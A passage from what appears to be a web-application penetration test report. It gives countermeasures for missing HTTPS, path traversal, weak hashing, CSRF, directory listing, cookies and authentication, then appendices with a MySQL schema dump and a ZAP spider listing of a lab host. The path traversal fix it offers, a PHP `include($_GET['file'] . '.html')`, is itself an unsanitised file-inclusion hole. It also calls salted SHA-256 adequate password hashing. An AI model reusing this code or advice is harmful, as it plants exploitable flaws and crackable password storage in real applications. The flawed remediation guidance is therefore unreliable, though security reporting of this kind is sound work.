which can be used is a Web Application Filter (WAF) which utilises signature-based filtering to look for 

key markers in comments and URLs.(Imperva.com, No Date). More information can be discovered here:  

Azure WAF: https://learn.microsoft.com/en-us/samples/azure/azure-quickstart-templates/xss-attack-

prevention/ 

AWS WAF: https://aws.amazon.com/premiumsupport/knowledge-center/waf-rule-prevent-sqli-xss/ 

2.12.4 No HTTPS 

Transport Layer Security (TLS/SSL) prevents attackers using a packet sniffer tool to capture and read 

traffic through encryption. This prevents sensitive information such as bank details being stolen.  

This issue is identified in Section 2.9.1 and is present throughout the web application.  

Countermeasure 

The administrator should install a TLS/SSL certificate from a certificate authority. The connection should 

also be forced over HTTPS to guarantee authenticity, confidentiality, and data integrity (auth0.com, 

December 2020). 

The HTTPS force connection can be implemented by modifying the ‘.htaccess’ file: 

RewriteEngine On 
RewriteCond %{env:HTTPS} !on 

RewriteRule ^(.*)$ https://www.example.com/$1 [R,L] 
(20i.com, No Date) 

More information here about forcing HTTPS:  

https://www.20i.com/us/support/ssl-certificates/force-https 

Information on SSL/TLS Certificates: 

https://aws.amazon.com/what-is/ssl-certificate/ 

 

https://learn.microsoft.com/en-us/samples/azure/azure-quickstart-templates/xss-attack-prevention/
https://learn.microsoft.com/en-us/samples/azure/azure-quickstart-templates/xss-attack-prevention/
https://aws.amazon.com/premiumsupport/knowledge-center/waf-rule-prevent-sqli-xss/
https://www.20i.com/us/support/ssl-certificates/force-https
https://aws.amazon.com/what-is/ssl-certificate/
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2.12.5 Path Traversal 

A Path Traversal attack aims to access files that the website should not have access to. This attack is 

carried out by manipulating input boxes or URLs to browse the file system and directories. This 

potentially can expose password files.  

This issue is identified in section 2.5.1 - Testing for Directory Traversal and is found on several pages 

throughout the web application.  

Countermeasure  

A method to prevent this would be to sanitise filename parameters from the URL and input boxes. This 

could include blacklisting items such as ‘../’ or limiting file extensions to .html. An example for ‘.html’ is 

shown below.    

<?php 
include($_GET['file'] . '.html'); 

?> 
(securecoding.com, December 2020) 

Another method would be to implement the ‘principle of least privilege’. This provides minimum 

permission to users and processes on the Web Application.  

2.12.6 Poor Hashing 

Poor hashing is present in the application, this made it simple for ‘sqlmap’ to crack the hashes for the 

user and admin accounts. It was also possible to crack the password hash using an online tool. 

As identified in Sections 2.6.2 and  2.3.1, the lack of secure hashing affected all passwords on the web 

server. 

Countermeasure  

To mitigate this, the system should use a modern hashing algorithm such as SHA-256, also making use of 

a password salt. This makes it difficult for a rainbow table type attack to be successful. (Okta.com, May 

2021) 

2.12.7 CSRF Tokens 

The lack of a CSRF token makes it possible for an attacker through social engineering to cause damage to 

users by changing their passwords or causing damage to the web application.  

As mentioned in section 2.6.5 no CSRF tokens are present on the entire web application.  

Countermeasure  

To mitigate this, the web application should make use of an CSRF protection headers to ensure that the 

web application is being used correctly. Further reading can be found here. 

https://owasp.org/www-community/Anti_CRSF_Tokens_ASP-NET 

 

https://owasp.org/www-community/Anti_CRSF_Tokens_ASP-NET
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2.12.8 Directory Browsing 

Directory Browsing was possible on the system where an attacker could access a folder on the web 

server. This exposes the web application files and potentially sensitive information. 

This was identified in sections 2.1.7, 2.2.1 and 2.2.5 and is present throughout the web server.  

Countermeasure  

To mitigate this, disable directory listing for the web server. This can be done through the console as 

shown: 

sudo a2dismod --force autoindex 
systemctl restart apache2 
(fedingo.com, No Date) 

2.12.9 Cookie Attributes 

Poor Cookie attributes allowed the attacker to see the cookie and dissect it through ‘Cyber Chef’ 

identifying the user's email, password, and time stamp. This allows an attacker to extract users’ 

information from the cookie  

This issue was identified in section 2.6.2 and is present throughout the application. 

Countermeasure 

To mitigate this, a secure cookie policy should be implemented, making use of the security values that 

are included in the ‘setcookie’ function in PHP shown below:   

setcookie(name, value, expire, path, domain, secure, httponly); 
(w3schools, No Date) 

Further reading: 

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie 

https://www.w3schools.com/php/php_cookies.asp  

2.12.10 Out of Date Software 

Serval pieces of software on the system are out of date, making it easy for attackers to exploit the 

system through documented and freely available exploitation scripts. Such software includes the Apache 

Version, MySQL Version and PHP version. 

This was identified in section 2.1 - Information Gathering, this issue affects the whole web application. 

Countermeasure  

Update to the latest versions of the software  

Further reading can be discovered here:  

https://www.ncsc.gov.uk/collection/top-tips-for-staying-secure-online/install-the-latest-software-and-

app-updates 

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie
https://www.w3schools.com/php/php_cookies.asp
https://www.ncsc.gov.uk/collection/top-tips-for-staying-secure-online/install-the-latest-software-and-app-updates
https://www.ncsc.gov.uk/collection/top-tips-for-staying-secure-online/install-the-latest-software-and-app-updates
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2.12.11 Poor Authentication 

Poor authentication allows an attacker to easily brute force a login system. This makes it easy for an 

attacker to gain access to user or admin accounts by using a brute force dictionary attack on the 

username and password.  

This issue was identified in section 2.4 and is an issue on both login pages  

Countermeasure  

One method to prevent a brute force attack is a rate limiter. This prevents several tries per second to an 

appropriate delay of X seconds. This significantly increases the time an attack would take.  

Another method is a CAPTCHA this can prevent an attacker from accessing the site multiple times by 

verifying that the user is human through a challenge. 

One final method is to implement two-step verification this prevents an attacker from gaining access to 

the site without another device or service with a one-time passcode 

Further reading:  

https://www.ncsc.gov.uk/collection/device-security-guidance/infrastructure/enterprise-authentication-

policy 

2.12.12 Information Disclosure 

Several pieces of information were found on the web application, although this can be an aid to help 

future developers understand coding, some comments on the website give away personal information. 

This can be seen in section 2.1.5 and affects the whole website  

Countermeasure  

To counter this, comments that could assist an attacker should be removed from the webpage. A design 

specification for the web application should be stored securely. This document should detail page 

structure, validation checks, software versions and connectivity to the database. 

2.13 FUTURE WORK 

It is recommended that another pen-test is scheduled at a future date once the changes have been 

made. This allows for further exploits to be tried against the system. In future pen-tests it is 

recommended that the pen-tester also tests the underlying Operating System. Phishing and social 

engineering attacks against the web application should also be undertaken. The organisation should 

implement Cyber Security training in the business in order to keep the business safe moving forward.  

  

https://www.ncsc.gov.uk/collection/device-security-guidance/infrastructure/enterprise-authentication-policy
https://www.ncsc.gov.uk/collection/device-security-guidance/infrastructure/enterprise-authentication-policy
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https://www.20i.com/us/support/ssl-certificates/force-https
https://www.securecoding.com/blog/preventing-path-traversal/
https://www.okta.com/blog/2019/03/what-are-salted-passwords-and-password-hashing/
https://www.okta.com/blog/2019/03/what-are-salted-passwords-and-password-hashing/
https://fedingo.com/how-to-disable-directory-browsing-in-apache/
https://www.w3schools.com/php/php_cookies.asp
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APPENDICES  
Appendix A – MySQL Dump 
-- MySQL dump 10.13  Distrib 5.5.27, for Linux (i686) 

-- 

-- Host: localhost    Database: aa2000 

-- ------------------------------------------------------ 

-- Server version 5.5.27 

 

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 

/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 

/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 

/*!40101 SET NAMES utf8 */; 

/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; 

/*!40103 SET TIME_ZONE='+00:00' */; 

/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; 

/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, 

FOREIGN_KEY_CHECKS=0 */; 

/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; 

/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; 

 

-- 

-- Table structure for table `asset_archive` 

-- 

 

DROP TABLE IF EXISTS `asset_archive`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `asset_archive` ( 

  `productID` int(11) NOT NULL, 

  `name` varchar(50) NOT NULL, 

  `price` int(20) NOT NULL, 

  `image` varchar(50) NOT NULL, 

  `details` text NOT NULL, 

  `quantity` int(20) NOT NULL, 

  `date_created` varchar(50) NOT NULL 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `asset_depreciation` 

-- 

 

DROP TABLE IF EXISTS `asset_depreciation`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `asset_depreciation` ( 

  `item_id` int(11) NOT NULL, 

  `price` int(11) NOT NULL, 

  `salvage_val` int(11) NOT NULL, 

  `years` int(11) NOT NULL, 

  `depmed` int(11) NOT NULL, 

  PRIMARY KEY (`item_id`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 
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-- 

-- Table structure for table `audit_trail` 

-- 

 

DROP TABLE IF EXISTS `audit_trail`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `audit_trail` ( 

  `KeyID` int(11) NOT NULL AUTO_INCREMENT, 

  `ID` int(11) NOT NULL, 

  `User` varchar(50) NOT NULL, 

  `Date_time` varchar(50) NOT NULL, 

  `Outcome` varchar(20) NOT NULL, 

  `Detail` varchar(250) NOT NULL, 

  PRIMARY KEY (`KeyID`) 

) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `backup_dbname` 

-- 

 

DROP TABLE IF EXISTS `backup_dbname`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `backup_dbname` ( 

  `ID` int(11) NOT NULL, 

  `Name` varchar(50) NOT NULL, 

  `Date` varchar(50) NOT NULL, 

  PRIMARY KEY (`Name`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `comment` 

-- 

 

DROP TABLE IF EXISTS `comment`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `comment` ( 

  `Num` int(11) NOT NULL AUTO_INCREMENT, 

  `announcementID` int(11) NOT NULL, 

  `Comment` varchar(500) NOT NULL, 

  `CustomerID` int(11) NOT NULL, 

  `date_posted` varchar(250) NOT NULL, 

  PRIMARY KEY (`Num`) 

) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `customer_archive` 

-- 

 

DROP TABLE IF EXISTS `customer_archive`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 
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/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `customer_archive` ( 

  `CustomerID` int(11) NOT NULL, 

  `Firstname` char(50) NOT NULL, 

  `Middle_name` char(50) NOT NULL, 

  `Lastname` char(50) NOT NULL, 

  `Birthday` date NOT NULL, 

  `Address` varchar(100) NOT NULL, 

  `City` varchar(50) NOT NULL, 

  `Contact_number` varchar(50) NOT NULL, 

  `Gender` char(11) NOT NULL, 

  `Email` varchar(50) NOT NULL, 

  `Password` varchar(50) NOT NULL, 

  `Date_created` varchar(50) NOT NULL, 

  PRIMARY KEY (`CustomerID`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `customers` 

-- 

 

DROP TABLE IF EXISTS `customers`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `customers` ( 

  `CustomerID` int(11) NOT NULL AUTO_INCREMENT, 

  `Firstname` char(50) NOT NULL, 

  `Middle_name` char(50) NOT NULL, 

  `Lastname` char(50) NOT NULL, 

  `Birthday` date NOT NULL, 

  `Address` varchar(100) NOT NULL, 

  `City` varchar(50) NOT NULL, 

  `Contact_number` varchar(50) NOT NULL, 

  `Gender` char(11) NOT NULL, 

  `Email` varchar(50) NOT NULL, 

  `Password` varchar(50) NOT NULL, 

  `Date_created` varchar(50) NOT NULL, 

  `status` varchar(10) NOT NULL, 

  `thumbnail` varchar(100) NOT NULL, 

  PRIMARY KEY (`CustomerID`) 

) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `dep_method` 

-- 

 

DROP TABLE IF EXISTS `dep_method`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `dep_method` ( 

  `methodID` int(11) NOT NULL, 

  `dep_method` varchar(50) NOT NULL, 

  PRIMARY KEY (`methodID`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 
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-- 

-- Table structure for table `item_category` 

-- 

 

DROP TABLE IF EXISTS `item_category`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `item_category` ( 

  `category_id` int(10) NOT NULL, 

  `item_name` varchar(30) NOT NULL, 

  PRIMARY KEY (`category_id`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `loginout_history` 

-- 

 

DROP TABLE IF EXISTS `loginout_history`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `loginout_history` ( 

  `Primary` int(11) NOT NULL AUTO_INCREMENT, 

  `CustomerID` int(11) NOT NULL, 

  `User` varchar(50) NOT NULL, 

  `Name` varchar(50) NOT NULL, 

  `Time_in` varchar(50) NOT NULL, 

  `Time_out` varchar(50) NOT NULL, 

  PRIMARY KEY (`Primary`) 

) ENGINE=InnoDB AUTO_INCREMENT=47 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `loginout_serverhistory` 

-- 

 

DROP TABLE IF EXISTS `loginout_serverhistory`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `loginout_serverhistory` ( 

  `Primary` int(11) NOT NULL AUTO_INCREMENT, 

  `AdminID` int(11) NOT NULL, 

  `User` varchar(50) NOT NULL, 

  `Name` varchar(50) NOT NULL, 

  `Time_in` varchar(50) NOT NULL, 

  `Time_out` varchar(50) NOT NULL, 

  PRIMARY KEY (`Primary`) 

) ENGINE=InnoDB AUTO_INCREMENT=23 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `message` 

-- 

 

DROP TABLE IF EXISTS `message`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 
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/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `message` ( 

  `ID` int(11) NOT NULL AUTO_INCREMENT, 

  `CustomerID` int(11) NOT NULL, 

  `Name` varchar(50) NOT NULL, 

  `Email` varchar(50) NOT NULL, 

  `Subject` varchar(20) NOT NULL, 

  `Message` varchar(1000) NOT NULL, 

  `Date_created` varchar(50) NOT NULL, 

  `Status` varchar(20) NOT NULL, 

  PRIMARY KEY (`ID`) 

) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `notif` 

-- 

 

DROP TABLE IF EXISTS `notif`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `notif` ( 

  `notifID` int(11) NOT NULL, 

  `orderID` int(11) NOT NULL, 

  `status` varchar(50) NOT NULL, 

  `date_ordered` date NOT NULL, 

  PRIMARY KEY (`notifID`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `order_details` 

-- 

 

DROP TABLE IF EXISTS `order_details`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `order_details` ( 

  `CustomerID` int(10) NOT NULL, 

  `Quantity` int(10) NOT NULL, 

  `ProductID` int(10) NOT NULL, 

  `Total` int(10) NOT NULL, 

  `Total_qty` varchar(50) NOT NULL, 

  `OrderID` varchar(10) NOT NULL, 

  `Orderdetailsid` int(11) NOT NULL, 

  PRIMARY KEY (`Orderdetailsid`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `orders` 

-- 

 

DROP TABLE IF EXISTS `orders`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `orders` ( 
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  `OrderID` int(11) NOT NULL, 

  `customerID` int(11) NOT NULL, 

  `total` varchar(30) NOT NULL, 

  `orderdate` date NOT NULL, 

  `Date_paid` varchar(50) NOT NULL, 

  `status` varchar(50) NOT NULL, 

  `deliverystatus` varchar(50) NOT NULL, 

  `Transaction_code` varchar(50) NOT NULL, 

  `tax` int(11) NOT NULL, 

  `shipping_address` varchar(100) NOT NULL, 

  PRIMARY KEY (`OrderID`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `purchases` 

-- 

 

DROP TABLE IF EXISTS `purchases`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `purchases` ( 

  `id` int(10) NOT NULL AUTO_INCREMENT, 

  `trasaction_id` varchar(600) NOT NULL, 

  `payer_fname` varchar(300) NOT NULL, 

  `payer_lname` varchar(300) NOT NULL, 

  `payer_address` varchar(300) NOT NULL, 

  `payer_city` varchar(300) NOT NULL, 

  `payer_country` varchar(300) NOT NULL, 

  `payer_email` text NOT NULL, 

  `posted_date` datetime NOT NULL, 

  PRIMARY KEY (`id`) 

) ENGINE=MyISAM AUTO_INCREMENT=74 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `reply_message` 

-- 

 

DROP TABLE IF EXISTS `reply_message`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `reply_message` ( 

  `Primary_key` int(11) NOT NULL AUTO_INCREMENT, 

  `CustomerID` int(11) NOT NULL, 

  `Recipient` varchar(50) NOT NULL, 

  `Email` varchar(50) NOT NULL, 

  `From_admin` varchar(50) NOT NULL, 

  `Message` varchar(1000) NOT NULL, 

  `Date_created` varchar(50) NOT NULL, 

  `Status` varchar(10) NOT NULL, 

  PRIMARY KEY (`Primary_key`) 

) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `sent_messages` 



60 | P a g e  
 

-- 

 

DROP TABLE IF EXISTS `sent_messages`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `sent_messages` ( 

  `ID` int(11) NOT NULL AUTO_INCREMENT, 

  `CustomerID` int(11) NOT NULL, 

  `Name` varchar(50) NOT NULL, 

  `Email` varchar(50) NOT NULL, 

  `Subject` varchar(20) NOT NULL, 

  `Message` varchar(1000) NOT NULL, 

  `Date_created` varchar(50) NOT NULL, 

  `Status` varchar(10) NOT NULL, 

  PRIMARY KEY (`ID`) 

) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `tb_announcement` 

-- 

 

DROP TABLE IF EXISTS `tb_announcement`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `tb_announcement` ( 

  `announcementID` int(11) NOT NULL, 

  `detail` text NOT NULL, 

  `date` datetime NOT NULL, 

  `name` varchar(50) NOT NULL, 

  `place` varchar(50) NOT NULL, 

  `image` varchar(100) NOT NULL, 

  `status` varchar(5) NOT NULL, 

  PRIMARY KEY (`announcementID`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `tb_equipment` 

-- 

 

DROP TABLE IF EXISTS `tb_equipment`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `tb_equipment` ( 

  `item_id` int(11) NOT NULL, 

  `item_code` text NOT NULL, 

  `item_name` varchar(500) NOT NULL, 

  `brand_name` varchar(250) NOT NULL, 

  `price` int(11) NOT NULL, 

  `employee_id` varchar(250) NOT NULL, 

  `item_category` int(30) NOT NULL, 

  `status` varchar(30) NOT NULL, 

  `supplier_id` varchar(250) NOT NULL, 

  `date_post` varchar(20) NOT NULL, 

  PRIMARY KEY (`item_id`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 
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/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `tb_productreport` 

-- 

 

DROP TABLE IF EXISTS `tb_productreport`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `tb_productreport` ( 

  `ProductID` int(11) NOT NULL AUTO_INCREMENT, 

  `Beg_qty` varchar(50) NOT NULL, 

  `updated_qty` varchar(50) NOT NULL, 

  PRIMARY KEY (`ProductID`) 

) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `tb_products` 

-- 

 

DROP TABLE IF EXISTS `tb_products`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `tb_products` ( 

  `productID` int(11) NOT NULL AUTO_INCREMENT, 

  `name` varchar(50) NOT NULL, 

  `price` int(20) NOT NULL, 

  `image` varchar(200) NOT NULL, 

  `details` text NOT NULL, 

  `quantity` int(20) NOT NULL, 

  `date_created` varchar(50) NOT NULL, 

  PRIMARY KEY (`productID`) 

) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `tb_sentmessage` 

-- 

 

DROP TABLE IF EXISTS `tb_sentmessage`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `tb_sentmessage` ( 

  `Primary_key` int(11) NOT NULL AUTO_INCREMENT, 

  `CustomerID` int(11) NOT NULL, 

  `Recipient` varchar(50) NOT NULL, 

  `Email` varchar(50) NOT NULL, 

  `From_admin` varchar(50) NOT NULL, 

  `Message` varchar(1000) NOT NULL, 

  `Date_created` varchar(50) NOT NULL, 

  `Status` varchar(50) NOT NULL, 

  PRIMARY KEY (`Primary_key`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 
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-- Table structure for table `tb_user` 

-- 

 

DROP TABLE IF EXISTS `tb_user`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `tb_user` ( 

  `userID` int(11) NOT NULL, 

  `username` varchar(50) NOT NULL, 

  `password` varchar(100) NOT NULL, 

  `utype` int(11) NOT NULL, 

  `Employee` varchar(50) NOT NULL, 

  PRIMARY KEY (`userID`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

 

-- 

-- Table structure for table `user_type` 

-- 

 

DROP TABLE IF EXISTS `user_type`; 

/*!40101 SET @saved_cs_client     = @@character_set_client */; 

/*!40101 SET character_set_client = utf8 */; 

CREATE TABLE `user_type` ( 

  `typeID` int(11) NOT NULL, 

  `user_type` varchar(50) NOT NULL, 

  PRIMARY KEY (`typeID`) 

) ENGINE=InnoDB DEFAULT CHARSET=latin1; 

/*!40101 SET character_set_client = @saved_cs_client */; 

/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; 

 

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; 

/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; 

/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; 

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; 

/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; 

/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 

/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; 

 

-- Dump completed on 2022-09-20 14:09:28 

 

Appendix B – OWASPZAP Spider Scan 

true,GET,http://192.168.1.10/admin 
true,GET,http://192.168.1.10/admin/ADMIN 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/products 
true,GET,http://192.168.1.10/assets/bootstrap 
true,GET,http://192.168.1.10/assets/bootstrap/css 
true,GET,http://192.168.1.10/assets/bootstrap/fonts 
true,GET,http://192.168.1.10/assets/bootstrap/js 
true,GET,http://192.168.1.10/assets/img 
true,GET,http://192.168.1.10/bootstrap/bootstrap 
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true,GET,http://192.168.1.10/bootstrap/bootstrap/css 
true,GET,http://192.168.1.10/bootstrap/bootstrap/js 
true,GET,http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify 
true,GET,http://192.168.1.10/admin/ 
true,GET,http://192.168.1.10/bootstrap/js 
true,GET,http://192.168.1.10/bootstrap/js/vendor 
true,GET,http://192.168.1.10/admin/ADMIN/ 
true,GET,http://192.168.1.10/icons 
true,GET,http://192.168.1.10/mail.php 
true,GET,http://192.168.1.10/less 
true,GET,http://192.168.1.10/server 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/ 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/products/ 
true,GET,http://192.168.1.10/admin/style.css 
true,GET,http://192.168.1.10/assets/js/ie8-responsive-file-warning.js 
true,GET,http://192.168.1.10/admin/name.png 
true,GET,http://192.168.1.10/admin/assets/css/bootstrap.min.css 
true,GET,http://192.168.1.10/admin/pass.png 
true,POST,"http://192.168.1.10/admin/ ()(password,username)" 
true,GET,http://192.168.1.10/admin/ADMIN/ (C) 
true,GET,http://192.168.1.10/admin/ADMIN/AS/ 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/ 
true,GET,http://192.168.1.10/admin/ADMIN/OOS/ 
true,GET,http://192.168.1.10/admin/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/ADS/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/reports1.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/equipment.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/fixedasset_report.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/careoff_report.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/configuration.php 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/offcanvas.css 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-theme.min.css 
true,GET,http://192.168.1.10/admin/ADMIN/dist/js/bootstrap.min.js 
true,GET,http://192.168.1.10/admin/ADMIN/assets/js/ie8-responsive-file-warning.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/offcanvas.js 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/aalogo.jpg 
true,GET,http://192.168.1.10/admin/ADMIN/SERVER/AS/products/ (C) 
true,POST,"http://192.168.1.10/admin/ADMIN/SERVER/AS/ ()(image,name)" 
true,GET,http://192.168.1.10/admin/ADMIN/AS/index.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/index.php 
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true,GET,http://192.168.1.10/admin/ADMIN/OOS/index.php 
true,GET,http://192.168.1.10/admin/logout.php 
true,GET,http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/AS/asset.php 
true,GET,http://192.168.1.10/admin/ADMIN/AS/reports.php 
true,GET,http://192.168.1.10/admin/ADMIN/AS/reports1.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/Customers.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php (id) 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/announcement.php 
true,GET,http://192.168.1.10/admin/ADMIN/ADS/messages.php 
